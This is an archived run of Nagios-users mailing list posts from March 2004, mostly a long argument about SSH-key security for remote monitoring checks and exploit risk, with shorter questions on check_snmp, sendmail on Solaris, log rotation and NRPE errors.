compliant. The ones that aren't tend > to be obsolete piles of steaming manure, but you have to decide if you > really want to exclude them before going down this route. > Nagios won't compile without heavy modifications on anything but POSIX-, BSD4.4-, ANSI- and SVID-compliant systems, so it doesn't really matter all that much. -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 29 03:54:32 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 29 Mar 2004 02:54:32 +0100 Subject: check_by_ssh question In-Reply-To: <406571D6.3030904@op5.se> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> <406571D6.3030904@op5.se> Message-ID: <20040329015432.13151.qmail@minnow.softflare.net> [Anyone who isn't Andreas should probably skip this, or die of boredom] Andreas Ericsson writes: > Paul L. Allen wrote: >>>> Andreas Ericsson writes: >>>> I haven't seen anything that doesn't have local exploits. >>> >>> I have. It's called Owl, and you can find it at www.openwall.com/Owl >> >> You can add TeX to that list. The number of commonly-used server >> applications that have never had a local or remote exploit is zero. >> > Wrong. I've written plenty of programs that are unexploitable. Small ones, > I'll give you that, but programming ideology scales infinitely. Yeah, I've written "Hello World" programs too. Your understanding of scaling problems is woefully lamentable. >>> And most patches come out because a problem has been detected. >> >> Which is why I said all you can hope is that you're not one of the >> unlucky ones that gets hit before there's a patch. > > A downright lie. I've patched ntp, postfix and vsftpd BEFORE running them, > which means I proactively blocked one or more exploits from ever > happening. OK, you patched problems you managed to detect before running them. Unless you are God, you cannot be confident that you have found ALL of the problems. I don't claim to be God, so I understand that there are likely to be things I won't pick up on that somebody else does. >> You can vet the >> sources of critical stuff, but even then you're likely to miss >> something. You can detect obvious stuff with automated tools, you >> can detect less obvious stuff with human inspection, but you can't >> detect stuff that you never imagined could be exploited that way. > > This is where it becomes obvious to me that you're not a programmer (at > least not a very good one). Ah, you're descending into ad hominem - a sure sign of defeat. I remember when race hazards impinged upon programmer awareness. I hadn't realized the problem, nor had many others, but it existed and was exploited. Unlike you, I am not so foolish as to believe we have found all exploitable mechanisms. These days everyone knows about buffer overflows and race hazards (most kernels have been fixed to eliminate race hazards running scripts). What next? It is incredible hubris to exclaim that every possible exploitable mechanism is now known. >> We don't have any local users on our servers who don't already know the >> root password. I wouldn't dream of having a server that is also a >> general box for ordinary users to play on. Even apart from the security >> issues, I don't want an ordinary user hogging the CPU or doing something >> else that degrades the service. >> > Couple this with any remote exploit to get a shell as the 'nobody' (or > 'anybody', really) user, and voil?. All the sudden there's a user on the > system that doesn't know the root password. End of this part of > discussion, ok? No, not OK. As I have REPEATEDLY explained to you, our setup is such that somebody who can use a remote exploit on our monitoring machine can also use that same remote exploit on our monitored machines. Actually, our monitoring machine runs fewer services than our monitored machines so is less likely to be remotely exploited in the first place. >> There are always remote exploits. > > Not really, no. The proper way to run networking services that need > root-access to bind ports, devices, etc. etc is to have them behave as > follows; [...] Which blocks all the mechanisms you know of but may not block mechanisms you have not thought of. BTW, when TCP/IP came out, it was all in userspace except for the hardware driver for the NIC. Efficiency concerns forced most of the stack into the kernel. These days you could argue that TCP/IP is as important as being able to read disk drives and so it now belongs in the kernel. Either way, there is a lot of networking code in kernel space that can be invoked from user space. Have you vetted the entire stack yet? >> You're right that the monitored servers *could* be compromised that >> way. But with no "ordinary" local users then the monitoring server >> could only be hacked using a remote exploit which is very likely to >> be usable on all the monitored servers too. > > However, the monitored servers doesn't contain a perfect map of the > network that the nagios server supplies. Also, the 'other' servers don't > have the key required to do it all without hoping for the exploitable > network services to be running. But the monitoring server runs fewer services than the monitored servers, and some of those services are not accessible externally. The monitoring server does not run IMAP, POP3 or SMTPD. The monitoring server does run bind, but that's not accessible from the outside. In an *ideal* world you might be right. In the real world, you're not. At least not for my situation. If somebody has a remote exploit for my monitoring server they have that same exploit for the monitored servers so closing off a mechanism that allows them to use the monitoring server to exploit monitored servers is utterly futile. There comes a point where "you must close all possible exploits" has to be tempered with common sense. > This is where logic goes out the window. In less than ten lines of > shell-script, I could automate setting up perfectly invisible backdoors on > every last one of your monitored servers. In the 'exploit' scenario I'd > most likely have to do 'manual' labour for each server I wanted to > backdoor. You're right, logic (yours) has gone right out of the window. Apart from the fact that most script kiddies don't have that sort of knowledge, slowing people down is NOT a solution. If it can be done it can be done. The fact that you can slow somebody down is NOT security. Either you can stop them or you cannot. One of us does not understand security fully, and I don't think it's me. You lambast people for not taking steps that reduce functionality but only slow attackers down. One of us is out of touch with reality. >> But that doesn't protect you from all the other possible local exploits. >> Far safer not to have ordinary users who don't know the root password on >> servers. In some ways, safer still not to have any local users because >> the only reason for connecting to those boxes in the first place is to >> do something as root. >> > And run network services (which can be exploited) as pseudo-users. Those > pseudo-users CAN get shell-accounts if the network services are exploited. That's the standard approach. It has flaws. Everything has flaws. > Solution; Remove setuid/setgid bits on ALL programs on the server, and > have everybody do everything as root. Without the setuid programs, local > non-root users can only spawn shells as themselves when exploiting local > programs. Ummm, so you're telling me to run Apache as root so it doesn't need setuid? I don't think so. Apache has had many exploits, and suexec is subject to race hazards, but bad as it is I don't want Apache running as root for everything just so I can get rid of setuid programs. >>> (and that I for one would try for the fun of it). >> >> Whereas I would not. Not only because of the legal penalties but also >> because I have a degree of respect for others. Crackers would do it >> for the hell of it, I wouldn't expect any sysadmin with a sense of >> ethics to. And I wouldn't trust any software with a team member who >> said he'd try hacking into somebody else's machine "for the fun of it", >> let alone security software. I think I'll give owl a miss... >> > What I meant was to try it against my own network. Neither unethical nor > illegal, but equally fun. It wasn't how it read to me. It read like you were willing to attack my servers for fun. That's not something I would do to anyone. It's not even something I would say in jest. Assume I said on this list, in jest, that I'd like to attack your servers. Then your servers got attacked. Who would you look to blame? The police would take away my computer and any computer I had access to in order to try to find out if I'd really hacked your machines. At the end of it they might drop the case but I'd be unemployable because people would think I was too clever at disguising my activities. My employer would be bankrupt because all their machines would be confiscated for weeks or months while they were investigated. This is not something I joke about. You did. I have to admit that if our machines get hit, your name is going to be top of my list of suspects. If you were joking, it was a silly thing to say... >> I worry about buffer overflows in everything. >> But again you're talking about needing a remote exploit first in order >> to be able to use a local exploit in order to be able to use the key >> exploit. > > This is generally the usual path every attacker takes to rooting a box. > The key exploit just makes it a whole lot easier to root (and backdoor) > more servers on the network. Again, knowing our situation, if they have an exploit for the monitoring box they have an exploit for the majority of the monitored boxes without needing the key exploit. >> The monitoring server is slightly more vulnerable than the >> others because only it runs the NCSA daemon. But since so few machines >> run an NCSA daemon compared to machines that run apache, bind, etc., >> black-hats are less likely to spend time on it. > > You're hoping for things that might not be true. > Remember; Assumption is the mother of all fuckups. The monitoring box runs fewer services than the monitoring boxes. Because I've switched from check_by_ssh to NCSA I've eliminated your key exploit. If the NCSA daemon is exploitable, the monitoring box is the only one running it and so is the only one at risk, and if compromised through that route it does not lead to the compromise of other machines. In addition, because NCSA is so rare, it is less likely to be compromised in the first place. In addition, rebuilding the monitoring machine causes us less problems than rebuilding all the monitored machines. It's not possible to be 100% secure and still do anything useful. What is possible is to minimize the risks and to minimize the consequences in an intelligent fashion. > Rooting through physical access IS impossible to safeguard against, and > it's supposed to be so I'm guessing it won't change. It's impossible. VAXes back in the 80s had keyswitches to prevent certain types of operation (such as rebooting). Of course, they all had the same key, and any idiot who could open the cabinet could hot-wire the switch. You can come up with all sorts of schemes such as flash ROM on the processor holding a public key and the private key has to be entered from floppy, but replace the hardware and you get in. You might just achieve the objective with encrypted disk drives. >> UK law makes it a criminal offence as long as one end (attacker or >> attacked machine) is in the UK. Most countries have extradition laws. >> > Conducting an international investigation is not a small thing to do, and > will probably only happen if the crime has serious implications (my turn > to assume). Also, it's worth noting that script-kiddies usually don't know > anything about laws, and care about them even less. I don't even hope to get script kiddies using remote exploits with the law. What I hope is that the law deters those with physical access. >> And why is there a large team of >> programmers vetting all open-source sources for this sort of problem? >> Did none of them know that you've already vetted EVERYTHING and they >> could have just asked you? >> > I haven't gone through everything. Networking programs and setuid/setgid > binaries have priority. The rest of them can't really be used to elevate > privileges as long as the system is set up properly. Oh dear. Two assumptions that are not supportable. The first is that systems are set up properly. The second is that you know all possible exploit mechanisms. I would still bet that in years to come an exploit mechanism will appear that will cause you to say "I didn't realize you could do that." >> You're not running a fully-audited version. You never will, because >> new versions will appear faster than you can vet all changes to >> everything installed unless you're superhuman. > > This is a problem we're keenly aware of. > Owl currently uses glibc-2.1.3, which is two minor versions below the > latest current one. This is a result of the fact that auditing the code > for it took well over a year to complete. So please do not call people idiots because they have examined the weaknesses of their systems and evaluated the likely exploit mechanisms and the costs of blocking them and reached conclusions that differ from the ones you reached after looking at your own systems. > The result is that the vast majority of our patches now can't easily be > applied to the current glibc. We are working on it, and the glibc team > take in every patch they think is good and doesn't break standards. It's not easy to do things right. You get locked into historical errors. You get blocked by people who are hostile to your changes because it causes too much work on their part. Welcome to reality, where you have to make compromises... >> The day you have everything audited and can keep on top of >> changes is the day you can corner the market in distros and probably >> topple Microsoft too. Until then you have to worry about local exploits >> and remote exploits, just like the rest of us. >> > Yes, probably so. But the downside of totally secure systems is lower > userfriendliness. Most users want things to be easy, so they decrease > security in favour of usability. Even higher up the food chain, people want things to be possible. So if it's the choice between running Apache knowing there are vulnerabilities or telling our clients their websites no longer work, I don't have much choice. In an ideal world Apache would have no vulnerabilities or if it did I could tell our clients their websites have to go down for a couple of months while I vet the code. In the real world, we have to run web servers. >> Then there are all the kernel exploits. You cannot hope to check >> everything by yourself and you cannot check for exploits that rely >> upon principles you never thought of. > > That's why Owl is developed by a team, and not by me alone. That's good, but how do you know that the team has thought of EVERYTHING? I know my limitations. I know I perceive things differently from my co-workers but that they have their own limitations. No matter how large the team, there is no guarantee that somebody outside of the team can't think of something nobody in the team thought of. To suggest otherwise is to adopt the sort of probabalistic argument you dislike me using. >> BTW, did you disassemble gcc? There is no other way of being sure >> that you don't have a Ken Thompson back-door unless ALL owl development >> was done on machines that have never connected to the Internet before >> the standard password routines were replaced by Owl on those machines. >> Recompiling gcc from source, patched or not, does not get rid of a >> Ken Thompson back-door. > > Yes it does. In fact, simply renordering the variable declarations is > enough to get rid of the kt-backdoor, since it's only capable of applying > code to copies of itself, and not other programs (reordering the variable > declarations generates different assembly and object code, which is enough > for it to 'miss' on the recognition). Are you SURE of that? It's not the behaviour I'd give it, and KT is a hell of a lot smarter than I am. I don't recall anything in his description of it which said that it relied on the order of variable declarations. Some implementations might, but I'd be very reluctant to say that they all have to. > The nagios server is the hackers primary target, since it provides him > with a map of the network, and a listing of (most) of the services running > on each host which means he doesn't have to run portscans or random > connection attempts which might be picked up by any NIDS. Which means that hacking the monitoring server to get a list of monitored servers is more important than being able to run the key exploit. Many, perhaps most, of the monitored servers will be vulnerable to the same exploit as the monitoring server. But even that is relatively unimportant, because most hacks simply seach IP blocks looking for vulnerable services. > Also, outgoing traffic from the nagios server is less likely to be > detected as intrusive, since it already shoots packets high and low to > every monitored part of the network. Now there, finally, I'll agree that you hit something I hadn't considered. But switching to passive service checks defeats it. > Any passwordless key with or without restrictions can be used to obtain > shell-access as the remote key-holders user. So patch remote exploits as soon as you know of them. > In an environment where all the local users have access to the > root-password, there's no need for setuid/setgid binaries. But eliminating setuid/setgid binaries may mean that some daemons have to run as root without dropping privileges, with the problems that entails. In fact, what you suggest is the worst of all worlds. If you have local users with bad passwords and there is a local exploit, you're screwed. Any daemons that would otherwise need setuid or setgid become far more vulnerable to remote exploit since there doesn't need to be a local exploit to get root.. > There's no need for any networking daemon to run as root, since the port > it listens to can easily be forwarded to one outside the privileged range > with a few simple iptables rules. Coupled with chroot jails where > possible, this can turn access granting exploits into mere DoS attacks. > Still annoying, but not by a longshot as dangerous to business. Yeah, we could do that with Apache. And thereby lose the ability to have it change UID/GID when accessing virtual hosts. So then any of our clients can write a CGI to walk all over any of our other clients, reading and/or corrupting private data. And yes, I know there are race hazards in suexec. I have to live with them, knowing that the alternatives are worse. I live in the real world... -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fmartinezg at fecsa.es Mon Mar 29 10:17:59 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Mon, 29 Mar 2004 10:17:59 +0200 Subject: (no subject) Message-ID: Hello, A question: If one host has not active services associated with him (only has pasives), when does the host check? regards ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fmartinezg at fecsa.es Mon Mar 29 10:40:02 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Mon, 29 Mar 2004 10:40:02 +0200 Subject: sorry for no subject Message-ID: -----Mensaje original----- De: Martinez Gonzalez, Francisco [mailto:fmartinezg at fecsa.es] Enviado el: lunes, 29 de marzo de 2004 10:18 Para: nagios-users at lists.sourceforge.net Asunto: [Nagios-users] (no subject) Hello, A question: If one host has not active services associated with him (only has pasives), when does the host check? regards ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From quanah at stanford.edu Mon Mar 29 11:05:02 2004 From: quanah at stanford.edu (Quanah Gibson-Mount) Date: Mon, 29 Mar 2004 01:05:02 -0800 Subject: host, no service In-Reply-To: References: Message-ID: <16736796.1080522302@cadabra-dsl.stanford.edu> --On Monday, March 29, 2004 10:17 AM +0200 "Martinez Gonzalez, Francisco" wrote: > > Hello, > > A question: > > If one host has not active services associated with him (only has > pasives), when does the host check? It doesn't. So I create "ping" services right now to handle this scenario. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From atherios at free.fr Mon Mar 29 11:20:10 2004 From: atherios at free.fr (atherios) Date: Mon, 29 Mar 2004 11:20:10 +0200 Subject: [ check_snmp ] - trouble with --eregi Message-ID: <20040329112010.5c99a701.atherios@free.fr> Hi, I'm using check_snmp to compare date/time from snmp. What I do is get 'host.hrSystem.hrSystemDate.0' from client and compare to date/time from server using '--eregi'. The command is defined like this : define command { command_name check_ntp command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o host.hrSystem.hrSystemDate.0 -C XXX --eregi="`/bin/date+%Y-%m-%d,%k:%M | /usr/bin/perl -p-e's/(-0)([0-9])/-$2/' | /usr/bin/tr-d ' '`" } Note: all is on one line in the real conf ;) This command works OK on shell : host:/usr/local/nagios/etc # ../libexec/check_snmp -H XXX.XXX.XXX.XXX -o host.hrSystem.hrSystemDate.0 -C XXX --eregi="`/bin/date +%Y-%m-%d,%k:%M | /usr/bin/perl -p -e 's/(-0)([0-9])/-$2/' | /usr/bin/tr -d ' '`" SNMP OK - 2004-3-29,11:17:40.0,+2:0 But in the log, it's marked as failed :( Anyone knows why ? Does the --eregi really execute the `command` in check mode ? ThX for answers. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From formatpro at yahoo.co.uk Mon Mar 29 11:35:18 2004 From: formatpro at yahoo.co.uk (=?iso-8859-1?q?ForMatPrO=20ForMatPrO?=) Date: Mon, 29 Mar 2004 10:35:18 +0100 (BST) Subject: High load with performance data enabled In-Reply-To: References: Message-ID: <20040329093518.13334.qmail@web25010.mail.ukl.yahoo.com> Hi, I'm running nagios 1.2 on a Sun Netra T1 440Mhz, checking about 600 services. Most services get checked every 5 minutes. (Ping checks and high availability services every minute) When I enable performance data and just write the service output to a file, the load increased dramatically (all the time 100% kernel load). I suppose this is because a proces is spawned for every service check? Is there any way to improve the load or is the only option a more powerfull machine? Thx. ___________________________________________________________ WIN FREE WORLDWIDE FLIGHTS - nominate a cafe in the Yahoo! Mail Internet Cafe Awards www.yahoo.co.uk/internetcafes ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From philc at foundation-it.com Mon Mar 29 12:10:29 2004 From: philc at foundation-it.com (Phil Costelloe) Date: Mon, 29 Mar 2004 11:10:29 +0100 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: <4E71CFD68DCB4E49B04AD93E84827EE922668F@netfinity-1.foundation-it.local> Paul L. Allen wrote: > Phil Costelloe writes: > >> There isn't a -s option to the standard mail program on Solaris 8, in >> fact that command (generically - printf "body" | mail -s "subject" >> someuser) errors rather than sending a mail when I try it > > One way around it is to use sendmail (which may not actually > be sendmail underneath but a sendmail-alike wrapper around > the real MTA). Use -oi if you want to specify a different > sender than the process is running on (in which case you need > to add sender and recipient headers to your printf; use -t so > a stray dot doesn't cause trouble; add a subject header to your > printf. > > That's assuming that Solaris 8 has sendmail or a > sendmail-alike wrapper around the real MTA - most distros do > because most CGIs that send mail are written to call > sendmail. Then again, Sun are notorious for doing things > differently from everyone else. [/usr/lib/]sendmail is the default MTA on Solaris 8 - current version seems to be 8.11.7p1+Sun. But if mailx can provide the functionality that Nagios needs (which I believe it can for most installations) then I think it's probably better to stick with that. Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 29 14:00:34 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 29 Mar 2004 13:00:34 +0100 Subject: Notify-by-email on Solaris 8 doesn't populate the subject In-Reply-To: <4E71CFD68DCB4E49B04AD93E84827EE922668F@netfinity-1.foundation-it.local> References: <4E71CFD68DCB4E49B04AD93E84827EE922668F@netfinity-1.foundation-it.local> Message-ID: <20040329120035.25262.qmail@minnow.softflare.net> Phil Costelloe writes: > [/usr/lib/]sendmail is the default MTA on Solaris 8 - current version > seems to be 8.11.7p1+Sun. And on Red Hat, although in later releases it's actually postfix under the hood. Most *nixes have sendmail or a wrapper called sendmail around the real MTA. > But if mailx can provide the functionality that Nagios needs (which I > believe it can for most installations) then I think it's probably better > to stick with that. There's no mailx on any Red Hat distro I've seen (might be on 9.0 but the only guy in the company who installed it deleted it after a couple of days because of all the problems). All *nixes have mail and most, if not all, have sendmail (whether the real thing or a wrapper) but not all of them have mailx. If you're on a solaris box and want to insert a subject header then either will do, but if you're talking about a change to the Nagios distribution then sendmail would be far more portable. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Mon Mar 29 14:23:30 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Mon, 29 Mar 2004 07:23:30 -0500 Subject: Log Rotation In-Reply-To: <00f101c41520$0979cad0$0500a8c0@KTR> References: <009601c4150e$e61ef350$0500a8c0@KTR> <40675913.7090902@op5.se> <00f101c41520$0979cad0$0500a8c0@KTR> Message-ID: <20040329072330.3ba391a7.karl@debisschop.net> On Sun, 28 Mar 2004 18:54:41 -0500 "Russell Scibetti" wrote: > We noticed the problem because there was a really bad day (lots of > state changes) that we wanted to review the next day, and the log was > empty. So there should definitely be contents in the log. Isn't this a possible symptom of having multiple daemons running? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Mon Mar 29 14:27:45 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Mon, 29 Mar 2004 07:27:45 -0500 Subject: solved In-Reply-To: <4067786D.6030607@op5.se> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> <200403252114.32046.rmiller@duskglow.com> <20040326133607.19693.qmail@minnow.softflare.net> <20040327075745.79197c82.karl@debisschop.net> <20040329004252.25883.qmail@minnow.softflare.net> <4067786D.6030607@op5.se> Message-ID: <20040329072745.09b15d91.karl@debisschop.net> On Mon, 29 Mar 2004 03:14:21 +0200 Andreas Ericsson wrote: > Paul L. Allen wrote: > > Karl DeBisschop writes: > > > >> That is using POSIX networking rather than relying on whatever > >version> of ping might happen to be found be the configure step. > > > > Not all flavours of *nix are POSIX compliant. The ones that aren't > > tend to be obsolete piles of steaming manure, but you have to decide > > if you really want to exclude them before going down this route. > > > Nagios won't compile without heavy modifications on anything but > POSIX-, BSD4.4-, ANSI- and SVID-compliant systems, so it doesn't > really matter all that much. In my mind, POSIX has been the target for the plugins for some time now. We will almost always end up supporting whatever our core developers use (RedHat Linux in my case). Not to imply that a developer's OS is more deserving of support, just that it gets tested there. But POSIX is the official target for the plugins. We might even document that someplace ;-) -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jgarcia at suse.com.ve Mon Mar 29 14:27:24 2004 From: jgarcia at suse.com.ve (Javier Garcia) Date: Mon, 29 Mar 2004 08:27:24 -0400 (VET) Subject: Mysql Backend In-Reply-To: <404DA6FC.9010905@diamos.de> References: <404DA6FC.9010905@diamos.de> Message-ID: Hi all, yes, I have the same problem. I'm llooking for and answer, but can't find good documentation about implementation nagios/MySQL Any body have some idea? thanks ---- Javier Garc?a Laboratorio de F?sica Computacional Centro de F?sica, IVIC jgarcia at ivic.ve 0416-8678334 On Tue, 9 Mar 2004, Bjoern Teipel wrote: > Hi all, > > is there a way to tell Nagios that it shouln`t replace the data for > services in the Mysql table serviceretention > and append them instead. My goal is to get usefull statistics which can > be analyzed with PHP scripts as example ? > > Thanks. > Bj?rn > > -- > Bj?rn Teipel > Systemadministration > DIAMOS AG * Sulzbach/Taunus > Mail : bt at diamos.de > www : http://www.diamos.de > ca : http://www.diamos.de/CA > Phone: +49(0)6196/6506-151 > > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From philippe.lebreton at cti-paysloire.cnamts.fr Mon Mar 29 14:46:12 2004 From: philippe.lebreton at cti-paysloire.cnamts.fr (LEBRETON Philippe) Date: Mon, 29 Mar 2004 14:46:12 +0200 Subject: CHECK_NRPE: Response packet had invalid CRC32. Message-ID: <40681A94.4000900@cti-paysloire.cnamts.fr> hello, From Nagios server, the plugin CHECK_NRPE has a Response packet had invalid CRC32. I check a plugin on Client SOLARIS 8 . On the client SOLARIS the plugin work. The response is OK. But when i use CHECK_NRPE on Nagios server i have a invaldi CRC32. what is the problem? Thanks Philippe LEBRETON ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Mauricio.Sanches-0UHsSIvRmZhwFqzsTH5u/w at public.gmane.org Fri Mar 26 14:39:11 2004 From: Mauricio.Sanches-0UHsSIvRmZhwFqzsTH5u/w at public.gmane.org (=?iso-8859-1?Q?Maur=EDcio_Sanches?=) Date: Fri, 26 Mar 2004 10:39:11 -0300 Subject: Informatios Message-ID: <8C9A18ED79CD6B458C1A3D684B9AF7DC2A42CC@brsao1w2pms03.nextel.com.br> It would like to know if check_mailq supports to monitoring the MSEXCHANGE Server, if not where I can find one plugin for this monitoring Thanks Mauricio Sanches --Esta mensagem pode conter informa??es confidenciais e/ou privilegiadas. Se voc? n?o for o destinat?rio ou a pessoa autorizada a receber esta mensagem, n?o deve usar, copiar ou divulgar as informa??es nela contida ou tomar qualquer a??o baseada nessas informa??es. O sistema de mensagens da Internet n?o ? considerado seguro ou livre de erros. Esta empresa n?o se responsabiliza por opini?es ou declara??es veiculadas atrav?s de e-mails. --The information contained in this message may be privileged and confidential and protected from disclosure. If the reader of this message is not the intended recipient, or an employee r agent responsible for delivering this message to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify us immediately by replying to the message and deleting it from your computer. Thank you. Nextel Telecomunica??es Ltda. - Seguran?a da Informa??o / Information Security ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagiosplug-devel mailing list Nagiosplug-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f at public.gmane.org https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel ::: Please include plugins version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 29 15:06:19 2004 From: marc at ena.com (Marc Powell) Date: Mon, 29 Mar 2004 07:06:19 -0600 Subject: host, no service Message-ID: 